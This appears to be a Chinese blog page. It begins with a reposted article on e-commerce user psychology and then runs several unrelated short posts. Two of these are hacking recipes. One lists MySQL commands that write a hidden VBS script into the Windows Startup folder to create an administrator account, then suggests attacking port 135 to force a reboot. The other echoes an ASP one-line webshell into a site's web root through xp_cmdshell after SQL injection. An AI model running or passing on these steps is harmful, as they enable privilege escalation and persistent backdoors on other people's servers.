客服：“亲，我们有了。在**的链接上可以链接进去。”

用户：“我之前用过，一点都不好用。”

客服：“我们改进了，你再试试。”

用户（一段时间之后）：“我就说过不好用，你看看，还有***都不是我想要的。”

第一印象一旦形成，接下来所有的关注力都是为了证明自己的第一印象是正确的。所以，不要责怪你的用户不够宽容，不够拥抱变化，不能理解你持续的努力，是你在之前没有竭尽全力去给他一个好的体验，一个满意的结果。所有单身的同学注意了，别随便糟蹋自己的形象，很可能在某一个你没有准备好的时刻，你的Mr right就出现了，然后你需要很长很长得时间去重塑你的新形象。

4：相信熟人

用户：“我朋友说你们的这件商品很好，我也要一件。”

这是买一件东西最肯定的理由，经常在人多的地方听到一堆的女生在说这样的对话：“你的衣服很漂亮，在哪儿买的？”“在淘宝。”“快把链接发给我。”每次听到这样的言语都忍住不的微笑，因为成为这家有意义公司的一员而骄傲。感谢这些八卦的女生们，她们用言语证明了淘宝的价值，她们是淘宝最佳的代言人。

5：简单

用户：“能不能不要让我回答这么多问题，填这么多信息。我只是想买一件衣服。”

刚开始的时候我们曾经想做成最简单的产品，随着时间的发展，随着需求的深入，随着问题的展开，我们经常看到的是一个复杂不堪的产品。然后用户望而却步：“知道吗，我对你每一步的迈出和深入都需要勇气和热情。但是在得到真相之前，我不确定的我的这种付出是否值得。”所以，别让潜力用户在漫漫长途中放弃。是我们的重重关卡将他们拒之门外。

6：文字图片结合

用户：“能不能在文字上直接给张图片？看着直观漂亮。”

用户：“能不能在图片旁边写上文字，否则不知道是在卖什么，干什么。”

人的头脑分左脑右脑，右脑喜欢图片、直接感觉；左脑喜欢文字，思考。有人喜欢右脑思维，有人喜欢左脑思维，作为产品的设计者，不用纠结，不用分类，让用户的2块头脑都得到充分的享受和利用吧。图片文字合理完美的结合是对不同用户最好的尊重。

7：金钱安全

用户：“我把钱放在你们这儿安全吗？你确定吗？”

用户：“你确定我的退款能成功吗？我把货退还给他了，钱能拿回来吗？”

金钱永远是让人担心的东西，金钱的安全一定是用户的第一考虑，如果我们不能给他们金钱的安全感，我们就无法留住用户，比金钱更加重要的应该是用户的信任和信心，所以在金钱的安全和保障上付出任何的努力应该都值得。

8：搜索准确

用户：“你们的搜索真差，我找不到我想要得商品。”

客服：“能告诉我你想找什么吗？”

用户：“我就想要自己喜欢的东西。”

客服：“。。。”冷汗直冒中

也许我不知道自己想要什么，但是你们应该知道我想要什么。这是很多用户的心理，我也是。永远不要指责用户的无理取闹，就像不要指责女生的善变。如果你足够把她放在心上，你应该会知道她喜欢什么，想要什么，会买什么。她的每一次浏览，每次点击，每次购买都在告诉你她喜欢什么，想要什么，这些都是她给你的机会，不要浪费。

9：保护私隐

用户：“你们太过分了，你们把充气娃娃让我爸爸接收了，然后，然后。。。他还当场打开了。”

每个人都有自己的私隐和不想让人知道的信息，不可以想当然的将这些信息透露出去，信任的建立很困难，需要很长的时间，信任的失去也许只是一瞬间，一个不小心的安全漏洞，一个不合适的需求，一次不小心的透露，我们就可能摧毁我们和用户之前长时间建立的信任关系。珍惜用户包括珍惜他提供给你的一切信息。

我常想，作为产品我们应该把用户放第一，作为员工我们应该把公司放第一，作为主管我们应该把员工放第一，可是这么多第一，谁是真正的第一？问问自己的良心吧，你能坦然面对你所有的客户、员工、团队成员问心无愧，能堂堂正正说出自己所做所为所思所想，应该就是真正的成功了。

原文：http://ued.taobao.com/blog/2011/12/20/psychological-characteristics-of-internet-users/

谷歌识图

Adoing — Fri, 20 Jan 2012 01:24:54 +0800

写图片地址或上传本机图片（IE6浏览器不可用识图功能）
http://www.google.com/imghp?hl=en&tab=wi

清华大学计算机全套教程下载

Adoing — Tue, 17 Jan 2012 12:34:18 +0800

BT文件下载：file_d

文件大小：11.8GB

phpshell写入启动项提权

Adoing — Tue, 17 Jan 2012 12:06:50 +0800

实际操作中可以在webshell用udf.dll提权,用函数的上传文件功能上传文件到启动目录,再用shut函数重起系统.(目前没成功过,有机会本地测试一下,先记录在这了).如果是英文版的系统,启动目录在 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup"

1、连接到对方MYSQL 服务器
mysql -u root -h 192.168.0.1
mysql.exe 这个程序在你安装了MYSQL的的BIN目录中

2、让我们来看看服务器中有些什么数据库
mysql>show databases;
MYSQL默认安装时会有MYSQL、TEST这两个数据库，如果你看到有其它的数据库那么就是用户自建的数据库。

3、让我们进入数据库
mysql>use test;
我们将会进入test数据库中

4、查看我们进入数据库中有些什么数据表
mysql>show tables;
默认的情况下，test中没有任何表的存在。
以下为关键的部分

5、在TEST数据库下创建一个新的表；
mysql>create table a (cmd text);
好了，我们创建了一个新的表，表名为a，表中只存放一个字段，字段名为cmd，为text文本。

6、在表中插入内容
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " );
注意双引号和括号以及后面的“0”一定要输入！我们将用这三条命令来建立一个VBS的脚本程序！

7、好了，现在我们来看看表a中有些什么
mysql>select * from a;
我们将会看到表中有三行数据，就是我们刚刚输入的内容，确认你输入的内容无误后，我们来到下一步

8、输出表为一个VBS的脚本文件
mysql>select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs"; 我们把我们表中的内容输入到启动组中，是一个VBS的脚本文件！注意“\"符号。

9、看到这大家肯定知道了，就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢，因为启动运行时会有明显的DOS窗口出来，而用VBS脚本则可以完全隐藏窗口且不会有错误提示！本来，应该还有一句完成脚本后自动删除此脚本的，但是中文目录实在无法处理，只有作罢！好了，找个工具攻击135让服务器重启吧，几分钟以后你就是管理员了。

SA权限ECHO写一句话

Adoing — Tue, 17 Jan 2012 12:04:31 +0800

注入点是SA权限.
xp_cmdshell是存在的.
找到网站主目录 dir d:\wwwroot
找到站点的目录后.

Echo ^<%eval request("#")%>^ >d:\wwwroot\xx\ok.asp
echo ^<%eval request("#")%^> >d:\wwwroot\xx\ok.asp
echo "<%eval request("#")%>" >d:\wwwroot\xx\ok.asp